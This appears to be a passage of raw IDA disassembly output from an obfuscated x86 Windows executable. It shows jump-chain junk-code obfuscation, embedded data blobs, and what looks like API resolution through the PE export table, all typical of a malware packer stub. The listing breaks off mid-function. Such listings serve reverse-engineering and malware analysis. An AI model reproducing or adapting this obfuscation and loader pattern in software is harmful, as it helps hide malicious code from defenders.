loc_405F33:				; CODE XREF: sub_405A52+493j
		jecxz	short loc_405F15
		cdq
		pop	esi
		aas
		or	al, 55h
; ---------------------------------------------------------------------------
		db 6Ah
; ---------------------------------------------------------------------------


loc_405F3B:				; CODE XREF: sub_405A52+4BEj
		jmp	short loc_405F15
; ---------------------------------------------------------------------------
		pop	ebx
		clc
		sal	dword ptr [esi], 1
		aaa


loc_405F42:				; CODE XREF: sub_405A52:loc_405F4Ej
		jmp	short loc_405F71
; ---------------------------------------------------------------------------
		movsb
		or	eax, 910D3C2h
		push	cs
		das
		cmp	al, 0C5h


loc_405F4E:				; CODE XREF: sub_405A52:loc_405F15j
		jmp	short loc_405F42
; ---------------------------------------------------------------------------
		dd 41284B1Ah
		db 0E6h, 27h, 0D4h
; ---------------------------------------------------------------------------


loc_405F57:				; CODE XREF: sub_405A52:loc_405F71j
		jmp	short loc_405F86
; ---------------------------------------------------------------------------
		jge	short loc_405FCD
		retn
; ---------------------------------------------------------------------------
		dd 1FBE7940h, 3BCA356Ch, 1796B158h, 0B322ED04h,	0F6EE970h
; ---------------------------------------------------------------------------
		pushf


loc_405F71:				; CODE XREF: sub_405A52:loc_405F42j
		jmp	short loc_405F57
; ---------------------------------------------------------------------------
		db 0A5h
		dd 21882B7Ah, 5D340746h, 59A0A3D2h, 15CCFF1Eh
; ---------------------------------------------------------------------------
		sub	bl, [ebx]


loc_405F86:				; CODE XREF: sub_405A52:loc_405F57j
		mov	edi, [ebx+3Ch]
		push	ecx
		push	edx
		xor	edx, edi
		dec	edx
		push	edi
		pop	edx
		neg	edx
		xchg	ecx, edx
		not	edx
		cld
		pop	edx
		pop	ecx
		mov	edi, [edi+ebx+78h]
		push	eax
		push	ecx
		push	ebp
		pop	eax
		neg	ecx
		mov	ax, 491Fh
		inc	ecx


loc_405FA8:				; CODE XREF: sub_405A52+575j
		push	ecx
		pop	eax
		cld
		pop	ecx
		pop	eax
		add	ebx, [edi+ebx+1Ch]
		jmp	short loc_405FDF
; ---------------------------------------------------------------------------
		db 0D0h
		dd 0FCEFCEC9h
; ---------------------------------------------------------------------------
		test	ebx, edx


loc_405FBA:				; CODE XREF: sub_405A52:loc_405FDFj
		jmp	short loc_405FEF
; ---------------------------------------------------------------------------
		or	ebp, eax
		add	[esi+323D94E7h], esp
		add	dword ptr [eax], 39h
		jle	short loc_405FA8
		sub	al, 0F5h
		mov	bh, bl


loc_405FCD:				; CODE XREF: sub_405A52+507j
		sbb	[ecx+56h], dh
		xlat
		les	ebp, [ebp-56CF8C1Eh]
		db	2Eh
		iret
; ---------------------------------------------------------------------------
		db 5Ch,	65h, 3Ah
; ---------------------------------------------------------------------------
		jmp	short loc_406026
; ---------------------------------------------------------------------------
		db 0E1h
; ---------------------------------------------------------------------------


loc_405FDF:				; CODE XREF: sub_405A52+55Fj
		jmp	short loc_405FBA
; ---------------------------------------------------------------------------
		push	es
		mov	esp, 6063921Dh
		sbb	esi, ebx
		mov	edi, 0DBEAD58Ch


loc_405FEF:				; CODE XREF: sub_405A52:loc_405FBAj
		mov	eax, [edx+ebx]
		push	edi
		push	ecx
		shl	ecx, 1Eh
		mov	cx, 49AEh
		push	edi
		pop	edi
		mov	ecx, esi
		cld
		pop	ecx
		pop	edi
		add	eax, [ebp-4]
		jmp	short loc_406035
; ---------------------------------------------------------------------------
		db 53h
		db 90h
		db 89h,	8Eh, 0AFh
		db 0BCh, 45h
; ---------------------------------------------------------------------------


loc_40600E:				; CODE XREF: sub_405A52:loc_406035j
		jmp	short loc_406045
; ---------------------------------------------------------------------------
		dd 0C1A8CB9Ah, 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah
		db 16h,	97h
; ---------------------------------------------------------------------------


loc_406026:				; CODE XREF: sub_405A52+58Aj
		test	[ebp-5Eh], ch
		xor	esi, eax
		imul	ebp, esi, 0FA251C8Fh
		stosd
; ---------------------------------------------------------------------------
		dw 0A108h
		db 0C6h
; ---------------------------------------------------------------------------


loc_406035:				; CODE XREF: sub_405A52+5B3j
		jmp	short loc_40600E
; ---------------------------------------------------------------------------
		db 87h
; ---------------------------------------------------------------------------


loc_406038:				; CODE XREF: sub_405A52:loc_406045j
		jmp	short loc_406064
; ---------------------------------------------------------------------------
		mov	ah, 0DDh
		push	edx
		and	esp, [eax]
		fstp	dword ptr [esi-556AB381h]


loc_406045:				; CODE XREF: sub_405A52:loc_40600Ej
		jmp	short loc_406038
; ---------------------------------------------------------------------------
		db 9Bh
		dd 77761138h, 13024DE4h, 6F4E4950h, 8B5A057Ch, 67268168h
		dd 3B2BD14h, 5FFEB980h
; ---------------------------------------------------------------------------


loc_406064:				; CODE XREF: sub_405A52:loc_406038j
		pop	edi
		jmp	short loc_406093
; ---------------------------------------------------------------------------
		db 98h
		dd 4457D6F1h
		db 2Dh,	62h
; ---------------------------------------------------------------------------


loc_40606E:				; CODE XREF: sub_405A52:loc_406093j
		jmp	short loc_4060A3
; ---------------------------------------------------------------------------
		dd 0AE29B0F3h, 0BAE5DC4Fh, 8661C86Bh, 129D7447h, 5E99E0E3h
		dd 6A550C3Fh, 36D1F85Bh, 0C20DA437h
		db 0D3h, 10h, 9
; ---------------------------------------------------------------------------


loc_406093:				; CODE XREF: sub_405A52+613j
		jmp	short loc_40606E
; ---------------------------------------------------------------------------
		db 0Eh,	2Fh, 3Ch
		dd 284B1AC5h, 0D427E641h
; ---------------------------------------------------------------------------
		jge	short locret_406114
		retn
; ---------------------------------------------------------------------------


loc_4060A3:				; CODE XREF: sub_405A52:loc_40606Ej
		jmp	loc_406292
; ---------------------------------------------------------------------------
		push	ebx
		push	eax
		shl	ebx, 0FEh
		mov	eax, 80A752h
		mov	ebx, esp
		mov	bx, 49A6h
		cld
		cld
		pop	eax
		pop	ebx


loc_4060BC:				; CODE XREF: sub_405A52+3EEj
		push	95902B19h
		jmp	short loc_4060F1
; ---------------------------------------------------------------------------
		db 17h
		dd 0B322ED04h, 0F6EE970h, 2B7AA59Ch
; ---------------------------------------------------------------------------
		mov	[ecx], ah


loc_4060D2:				; CODE XREF: sub_405A52:loc_4060F1j
		jmp	short loc_406101
; ---------------------------------------------------------------------------
		dd 5D340746h, 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h
		dd 0C9D09382h, 85FCEFCEh
		db 0DAh
; ---------------------------------------------------------------------------


loc_4060F1:				; CODE XREF: sub_405A52+66Fj
		jmp	short loc_4060D2
; ---------------------------------------------------------------------------
		db 0Bh
		db 0E8h, 1, 0A6h
; ---------------------------------------------------------------------------


loc_4060F7:				; CODE XREF: sub_405A52:loc_406101j
		jmp	short loc_406124
; ---------------------------------------------------------------------------
		db 0E7h, 94h, 3Dh
		dd 39008332h
		db 7Eh
; ---------------------------------------------------------------------------


loc_406101:				; CODE XREF: sub_405A52:loc_4060D2j
		jmp	short loc_4060F7
; ---------------------------------------------------------------------------
		db 0DFh
; ---------------------------------------------------------------------------


loc_406104:				; CODE XREF: sub_405A52:loc_406124j
		jmp	short loc_406134
; ---------------------------------------------------------------------------
		sub	al, 0F5h
		mov	bh, bl
		sbb	[ecx+56h], dh
		xlat
		les	ebp, [ebp-56CF8C1Eh]

locret_406114:				; CODE XREF: sub_405A52+64Ej
		db	2Eh
		iret
; ---------------------------------------------------------------------------
		dw 655Ch
		dd 0E148EB3Ah, 1DF4C706h, 19606392h
; ---------------------------------------------------------------------------


loc_406124:				; CODE XREF: sub_405A52:loc_4060F7j
		jmp	short loc_406104
; ---------------------------------------------------------------------------
		fidivr	word ptr [edi-24152A74h]
		js	short loc_40617F
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx


loc_406134:				; CODE XREF: sub_405A52:loc_406104j
		push	dword ptr [ebp+10h]
		push	ebx
		push	eax
		xchg	eax, ebx
		dec	ebx
		push	edi
		pop	ebx
		ror	eax, 46h
		mov	ebx, esp


loc_406143:				; CODE XREF: sub_405A52+757j
		cmp	al, 0CCh
		test	eax, ebp
		inc	eax
		cld
		pop	eax
		pop	ebx
		call	near ptr sub_4048A4
		jmp	short loc_406181
; ---------------------------------------------------------------------------
		dw 0C1A8h
		db 66h
; ---------------------------------------------------------------------------


loc_406155:				; CODE XREF: sub_405A52:loc_406181j
		jmp	short loc_406194
; ---------------------------------------------------------------------------
		db 0A7h
		dd 43F2FD54h, 9F3EF9C0h, 0BB4AB5ECh, 971631D8h,	33A26D84h
		dd 8FEE69F0h, 0ABFA251Ch, 87C6A108h, 2352DDB4h
; ---------------------------------------------------------------------------
		and	cl, bl
		sahf


loc_40617F:				; CODE XREF: sub_405A52+6DAj
		jg	short loc_4061CD


loc_406181:				; CODE XREF: sub_405A52+6FEj
		jmp	short loc_406155
; ---------------------------------------------------------------------------
		db 95h
		dd 11389BAAh
		db 76h,	77h
; ---------------------------------------------------------------------------


loc_40618A:				; CODE XREF: sub_405A52:loc_406194j
		jmp	short loc_4061B7
; ---------------------------------------------------------------------------
		dd 13024DE4h, 6F4E4950h
; ---------------------------------------------------------------------------


loc_406194:				; CODE XREF: sub_405A52:loc_406155j
		jmp	short loc_40618A
; ---------------------------------------------------------------------------
		dw 57Ch
		dd 81688B5Ah, 0BD146726h
; ---------------------------------------------------------------------------
		mov	dl, 3


loc_4061A2:				; CODE XREF: sub_405A52+790j
					; sub_405A52+78Dj
		cmp	byte ptr [ecx+75AC5FFEh], 0Ah
		jnp	short loc_406143
		icebp
		setalc
		push	edi
		inc	esp
		sub	eax, 29B0F362h
		scasb
		dec	edi
; ---------------------------------------------------------------------------
		db 0DCh
; ---------------------------------------------------------------------------


loc_4061B7:				; CODE XREF: sub_405A52:loc_40618Aj
		push	0
		jmp	short loc_4061E8
; ---------------------------------------------------------------------------
		db 74h
		db 9Dh,	12h
; ---------------------------------------------------------------------------


loc_4061BE:				; CODE XREF: sub_405A52:loc_4061E8j
		jmp	short loc_4061FB
; ---------------------------------------------------------------------------
		dd 5E99E0E3h, 6A550C3Fh, 36D1F85Bh
; ---------------------------------------------------------------------------
		aaa


loc_4061CD:				; CODE XREF: sub_405A52:loc_40617Fj
		movsb
		or	eax, 910D3C2h
		push	cs
		das
		cmp	al, 0C5h
		sbb	cl, [ebx+28h]
		inc	ecx
		out	27h, al
		aam	7Dh
		jb	short near ptr loc_4061A2+2
		inc	eax
		jns	short loc_4061A2
		pop	ds
		insb
; ---------------------------------------------------------------------------
		dw 0CA35h
; ---------------------------------------------------------------------------


loc_4061E8:				; CODE XREF: sub_405A52+767j
		jmp	short loc_4061BE
; ---------------------------------------------------------------------------
		db 3Bh
; ---------------------------------------------------------------------------


loc_4061EB:				; CODE XREF: sub_405A52:loc_4061FBj
		jmp	short loc_406216
; ---------------------------------------------------------------------------
		pop	eax
		mov	cl, 96h
		pop	ss
		add	al, 0EDh
		and	dh, [ebx+0F6EE970h]
		pushf
		movsd


loc_4061FB:				; CODE XREF: sub_405A52:loc_4061BEj
		jmp	short loc_4061EB
; ---------------------------------------------------------------------------
		db 7Ah,	2Bh, 88h
; ---------------------------------------------------------------------------


loc_406200:				; CODE XREF: sub_405A52:loc_406216j
		jmp	short loc_406231
; ---------------------------------------------------------------------------
		dw 4621h
		dd 0D25D3407h, 1E59A0A3h, 2A15CCFFh, 0F691B81Bh
		db 0F7h, 64h
; ---------------------------------------------------------------------------


loc_406216:				; CODE XREF: sub_405A52:loc_4061EBj
		jmp	short loc_406200
; ---------------------------------------------------------------------------
		dd 0D09382CDh, 0FCEFCEC9h, 0E80BDA85h, 94E7A601h, 83323Dh
		dd 2CDF7E39h
; ---------------------------------------------------------------------------
		cmc


loc_406231:				; CODE XREF: sub_405A52:loc_406200j
		call	eax
		jmp	short loc_40625F
; ---------------------------------------------------------------------------
		db 0C4h, 0ADh, 0E2h
		dd 2EA93073h
; ---------------------------------------------------------------------------


loc_40623C:				; CODE XREF: sub_405A52:loc_40625Fj
		jmp	short loc_40626F
; ---------------------------------------------------------------------------
		dw 5CCFh
		dd 48EB3A65h, 0F4C706E1h, 6063921Dh, 8CBFDE19h,	78DBEAD5h
		dd 24B7B651h, 9053428Dh
		db 89h,	8Eh, 0AFh
; ---------------------------------------------------------------------------


loc_40625F:				; CODE XREF: sub_405A52+7E1j
		jmp	short loc_40623C
; ---------------------------------------------------------------------------


loc_406261:				; CODE XREF: sub_405A52:loc_40626Fj
		jmp	short loc_406292
; ---------------------------------------------------------------------------
		db 0BCh
		dd 0A8CB9A45h, 54A766C1h
		db 0FDh, 0F2h, 43h
; ---------------------------------------------------------------------------


loc_40626F:				; CODE XREF: sub_405A52:loc_40623Cj
					; sub_405A52+87Ej
		jmp	short loc_406261
; ---------------------------------------------------------------------------
		db 0C0h, 0F9h, 3Eh
		dd 4AB5EC9Fh, 1631D8BBh, 0A26D8497h, 0EE69F033h, 0FA251C8Fh
		dd 0C6A108ABh, 52DDB487h
; ---------------------------------------------------------------------------
		and	esp, [eax]


loc_406292:				; CODE XREF: sub_405A52+21Fj
					; sub_405A52:loc_4060A3j ...
		mov	[edi], eax
		jmp	short loc_4062BF
; ---------------------------------------------------------------------------
		dw 1138h
		db 76h
; ---------------------------------------------------------------------------


loc_406299:				; CODE XREF: sub_405A52:loc_4062BFj
		jmp	short loc_4062D2
; ---------------------------------------------------------------------------
		db 77h
		dd 13024DE4h, 6F4E4950h, 8B5A057Ch, 67268168h, 3B2BD14h
		dd 5FFEB980h, 7B0A75ACh, 57D6F198h
		db 44h,	2Dh, 62h
; ---------------------------------------------------------------------------


loc_4062BF:				; CODE XREF: sub_405A52+842j
		jmp	short loc_406299
; ---------------------------------------------------------------------------
		db 0F3h, 0B0h, 29h
; ---------------------------------------------------------------------------
		scasb
		dec	edi


loc_4062C6:				; CODE XREF: sub_405A52:loc_4062D2j
		jmp	short loc_4062F5
; ---------------------------------------------------------------------------
		fsubr	st(5), st
		mov	edx, 8661C86Bh
		inc	edi
		jz	short loc_40626F


loc_4062D2:				; CODE XREF: sub_405A52:loc_406299j
		jmp	short loc_4062C6
; ---------------------------------------------------------------------------
		dd 99E0E312h
		db 5Eh,	3Fh, 0Ch
; ---------------------------------------------------------------------------


loc_4062DB:				; CODE XREF: sub_405A52:loc_4062F5j
		jmp	short loc_406308
; ---------------------------------------------------------------------------
		db 55h,	6Ah, 5Bh
		dd 3736D1F8h, 0D3C20DA4h, 2F0E0910h, 4B1AC53Ch,	27E64128h
		db 0D4h
; ---------------------------------------------------------------------------


loc_4062F5:				; CODE XREF: sub_405A52:loc_4062C6j
		jmp	short loc_4062DB
; ---------------------------------------------------------------------------
		jge	short loc_40636B
		retn
; ---------------------------------------------------------------------------
		dw 7940h
; ---------------------------------------------------------------------------
		mov	esi, 0CA356C1Fh
		cmp	ebx, [eax-4Fh]
		xchg	eax, esi
		pop	ss
		add	al, 0EDh


loc_406308:				; CODE XREF: sub_405A52:loc_4062DBj
		add	dword ptr [ebp-8], 4
		jmp	short loc_406330
; ---------------------------------------------------------------------------
		dw 7AA5h
		dd 4621882Bh
; ---------------------------------------------------------------------------
		pop	es


loc_406315:				; CODE XREF: sub_405A52:loc_406330j
		jmp	short loc_406347
; ---------------------------------------------------------------------------
		db 34h
		dd 0A0A3D25Dh, 0CCFF1E59h, 0B81B2A15h, 64F7F691h, 0D09382CDh
		dd 0FCEFCEC9h
; ---------------------------------------------------------------------------


loc_406330:				; CODE XREF: sub_405A52+8BAj
		jmp	short loc_406315
; ---------------------------------------------------------------------------
		test	ebx, edx
		or	ebp, eax


loc_406336:				; CODE XREF: sub_405A52:loc_406347j
		jmp	short loc_406366
; ---------------------------------------------------------------------------
		dd 94E7A601h, 83323Dh, 2CDF7E39h
; ---------------------------------------------------------------------------
		cmc
		mov	bh, bl


loc_406347:				; CODE XREF: sub_405A52:loc_406315j
		jmp	short loc_406336
; ---------------------------------------------------------------------------
		db 18h,	71h, 56h
		dd 0E2ADC4D7h, 2EA93073h
		db 0CFh, 5Ch, 65h
; ---------------------------------------------------------------------------


loc_406357:				; CODE XREF: sub_405A52:loc_406366j
		jmp	short loc_406385
; ---------------------------------------------------------------------------
		db 3Ah,	0EBh, 48h
		dd 0F4C706E1h, 6063921Dh
; ---------------------------------------------------------------------------
		sbb	esi, ebx


loc_406366:				; CODE XREF: sub_405A52:loc_406336j
		jmp	short loc_406357
sub_405A52	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0BFh, 8Ch, 0D5h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405A52


loc_40636B:				; CODE XREF: sub_405A52+8A5j
		jmp	far ptr	24B7h:0B65178DBh
; END OF FUNCTION CHUNK	FOR sub_405A52
; ---------------------------------------------------------------------------
		dw 428Dh
		dd 8E899053h

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

; FUNCTION CHUNK AT 0040548F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004054AA SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004054D8 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004054DF SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004054F3 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0040550E SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00405537 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00405557 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00405560 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00405567 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0040558E SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0040559E SIZE 00000086 BYTES
; FUNCTION CHUNK AT 00405627 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0040564D SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004056AF SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004056C6 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004056EE SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00405701 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040570D SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00405722 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00405726 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00405739 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00405758 SIZE 0000003F BYTES
; FUNCTION CHUNK AT 0040579A SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004057C2 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004057D5 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004057FF SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0040581A SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00405820 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00405831 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00405850 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 00405857 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00405883 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0040588C SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00405896 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004058B9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004058C1 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004058EB SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004058FE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00405920 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0040593B SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00405952 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 00405995 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004059BC SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004059CD SIZE 00000020 BYTES
; FUNCTION CHUNK AT 004059F4 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00405A1B SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00405A20 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00405A2B SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00406392 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 004063D2 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004063E1 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00406400 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00406407 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0040642F SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00406434 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00406442 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00406465 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004064CB SIZE 00000030 BYTES
; FUNCTION CHUNK AT 004064FD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00406514 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0040653D SIZE 00000002 BYTES

		scasd
		mov	esp, 0A8CB9A45h
		shl	dword ptr [esi-59h], 54h
		std
		repne inc ebx


loc_406385:				; CODE XREF: sub_405A52:loc_406357j
		jmp	loc_405701
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	eax
		push	ecx
		xchg	ecx, ecx
		inc	ecx
		cld
		pop	ecx
		pop	eax
; START	OF FUNCTION CHUNK FOR start


loc_406392:				; CODE XREF: start-A24j
		mov	[esi], eax
		push	esi
		push	ecx
		ror	ecx, 47h
		xor	ecx, ecx
		neg	esi
		shl	esi, 5
		not	esi
		mov	ecx, 80B21Ah
		cmp	ebp, esi
		cld
		pop	ecx
		pop	esi
		mov	[esi+0Ch], eax
		push	esi
		push	ebx
		mov	ebx, ebp
		inc	esi
		cld
		pop	ebx
		pop	esi
		mov	[esi+10h], eax
		push	eax
		push	edx
		mov	ax, 53D8h
		shl	eax, 34h
		cld
		pop	edx
		pop	eax
		add	esi, 14h
		jmp	short loc_4063E1
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 6Dh
		dd 69F033A2h
		db 0EEh, 8Fh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4063D2:				; CODE XREF: start:loc_4063E1j
		jmp	short loc_406400
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		sbb	al, 25h
		cli
		stosd
		or	[ecx-224B783Ah], ah
		push	edx
		and	esp, [eax]
; START	OF FUNCTION CHUNK FOR start


loc_4063E1:				; CODE XREF: start+51j
		jmp	short loc_4063D2
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 0D9h
		dd 954C7F9Eh, 11389BAAh, 4DE47776h, 49501302h, 57C6F4Eh
		dd 81688B5Ah, 0BD146726h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_406400:				; CODE XREF: start:loc_4063D2j
		mov	edx, [ebp+0Ch]
		jmp	short loc_40642F
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 0ACh, 75h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_406407:				; CODE XREF: start:loc_40642Fj
		jmp	short loc_406442
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 0Ah,	7Bh, 98h
		dd 4457D6F1h, 0B0F3622Dh, 0DC4FAE29h, 0C86BBAE5h, 74478661h
		dd 0E0E3129Dh, 0C3F5E99h, 0F85B6A55h
; ---------------------------------------------------------------------------
		sal	dword ptr [esi], 1
		aaa
; START	OF FUNCTION CHUNK FOR start


loc_40642F:				; CODE XREF: start+8Bj
		jmp	short loc_406407
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 0A4h, 0Dh, 0C2h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_406434:				; CODE XREF: start:loc_406442j
		jmp	short loc_406465
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 10D3h
		dd 3C2F0E09h, 284B1AC5h
		db 41h,	0E6h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_406442:				; CODE XREF: start:loc_406407j
		jmp	short loc_406434
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 727DD427h, 0BE7940C3h, 0CA356C1Fh, 96B1583Bh, 22ED0417h
		dd 6EE970B3h, 7AA59C0Fh, 4621882Bh
; ---------------------------------------------------------------------------
		pop	es
; START	OF FUNCTION CHUNK FOR start


loc_406465:				; CODE XREF: start:loc_406434j
		jmp	loc_40548F
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		jmp	short loc_406498
; ---------------------------------------------------------------------------
		dd 15CCFF1Eh
		db 2Ah,	1Bh, 0B8h
; ---------------------------------------------------------------------------


loc_406473:				; CODE XREF: .text:loc_406498j
		jmp	short loc_4064A8
; ---------------------------------------------------------------------------
		db 91h,	0F6h, 0F7h
		dd 9382CD64h, 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h, 83323D94h
		dd 0DF7E3900h, 0FB8AF52Ch, 0D7567118h
; ---------------------------------------------------------------------------


loc_406498:				; CODE XREF: .text:0040646Aj
		jmp	short loc_406473
; ---------------------------------------------------------------------------
		les	ebp, [ebp-56CF8C1Eh]


loc_4064A0:				; CODE XREF: .text:loc_4064A8j
		jmp	short loc_4064CB
; ---------------------------------------------------------------------------
		dw 0CF2Eh
		dd 0EB3A655Ch
; ---------------------------------------------------------------------------


loc_4064A8:				; CODE XREF: .text:loc_406473j
		jmp	short loc_4064A0
; ---------------------------------------------------------------------------
		dw 0E148h
; ---------------------------------------------------------------------------
		push	es
		mov	esp, 6063921Dh
		sbb	esi, ebx
		mov	edi, 0DBEAD58Ch
		js	short loc_40650D
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4064CB:				; CODE XREF: start-ED8j
					; .text:loc_4064A0j
		pop	ebx
		push	ebx
		push	edi
		mov	edi, 80DEDAh
		inc	ebx
		inc	edi
		cld
		pop	edi
		pop	ebx
		pop	edi
		push	esi
		push	ecx
		xor	esi, ebp
		xor	ecx, ecx
		cmp	bh, bh
		mov	esi, 84A05Ah
		dec	ecx
		mov	ecx, esi
		repne cld
		pop	ecx
		pop	esi
		pop	esi
		push	eax
		push	edx
		xor	edx, ebp
		neg	edx
		xor	eax, esp
		jmp	loc_4064FD
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		push	esp
		pop	eax
; START	OF FUNCTION CHUNK FOR start


loc_4064FD:				; CODE XREF: start+17Ej
		rcl	eax, 99h
		cmp	al, 0C4h
		xor	edx, ebx
		test	al, ch
		inc	eax
		cld
		pop	edx
		pop	eax
		leave
		jmp	short loc_40653D
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------


loc_40650D:				; CODE XREF: .text:004064BAj
		lahf
		in	al, dx
		mov	ch, 4Ah
; ---------------------------------------------------------------------------
		db 0BBh, 0D8h, 31h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_406514:				; CODE XREF: start:loc_40653Dj
		jmp	short nullsub_1
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 9716h
		dd 33A26D84h, 8FEE69F0h, 0ABFA251Ch, 87C6A108h,	2352DDB4h
		dd 7F9ED920h, 9BAA954Ch, 77761138h, 13024DE4h
; ---------------------------------------------------------------------------
		push	eax
; START	OF FUNCTION CHUNK FOR start


loc_40653D:				; CODE XREF: start+193j
		jmp	short loc_406514
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 49h
		dd 57C6F4Eh, 81688B5Ah,	0BD146726h, 0B98003B2h,	75AC5FFEh
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	short loc_406584
; ---------------------------------------------------------------------------
		db 62h,	0F3h, 0B0h
; ---------------------------------------------------------------------------


loc_40655C:				; CODE XREF: .text:loc_406584j
		jmp	short loc_406597
; ---------------------------------------------------------------------------
		dw 0AE29h
		dd 0BAE5DC4Fh, 8661C86Bh, 129D7447h, 5E99E0E3h,	6A550C3Fh
		dd 36D1F85Bh, 0C20DA437h, 0E0910D3h, 1AC53C2Fh
; ---------------------------------------------------------------------------


loc_406584:				; CODE XREF: .text:00406557j
		jmp	short loc_40655C
; ---------------------------------------------------------------------------
		dw 284Bh
; ---------------------------------------------------------------------------
		inc	ecx


loc_406589:				; CODE XREF: .text:loc_406597j
		jmp	short loc_4065BA
; ---------------------------------------------------------------------------
		db 0E6h
		dd 727DD427h, 0BE7940C3h
		db 1Fh,	6Ch, 35h
; ---------------------------------------------------------------------------


loc_406597:				; CODE XREF: .text:loc_40655Cj
		jmp	short loc_406589
; ---------------------------------------------------------------------------
		retf	583Bh
; ---------------------------------------------------------------------------
		mov	cl, 96h


loc_40659E:				; CODE XREF: .text:loc_4065BAj
		jmp	short loc_4065CD
; ---------------------------------------------------------------------------
		dd 22ED0417h, 6EE970B3h, 7AA59C0Fh, 4621882Bh, 0D25D3407h
		dd 1E59A0A3h
		db 0FFh, 0CCh
; ---------------------------------------------------------------------------


loc_4065BA:				; CODE XREF: .text:loc_406589j
		jmp	short loc_40659E
; ---------------------------------------------------------------------------
		dd 0B81B2A15h, 64F7F691h, 0D09382CDh, 0FCEFCEC9h
		db 85h
; ---------------------------------------------------------------------------


loc_4065CD:				; CODE XREF: .text:loc_40659Ej
					; .text:loc_407085p ...
		push	ebx
		push	edi
		push	ebx
		cmp	ebx, 80E15Ah
		xchg	edi, ebx
		clc
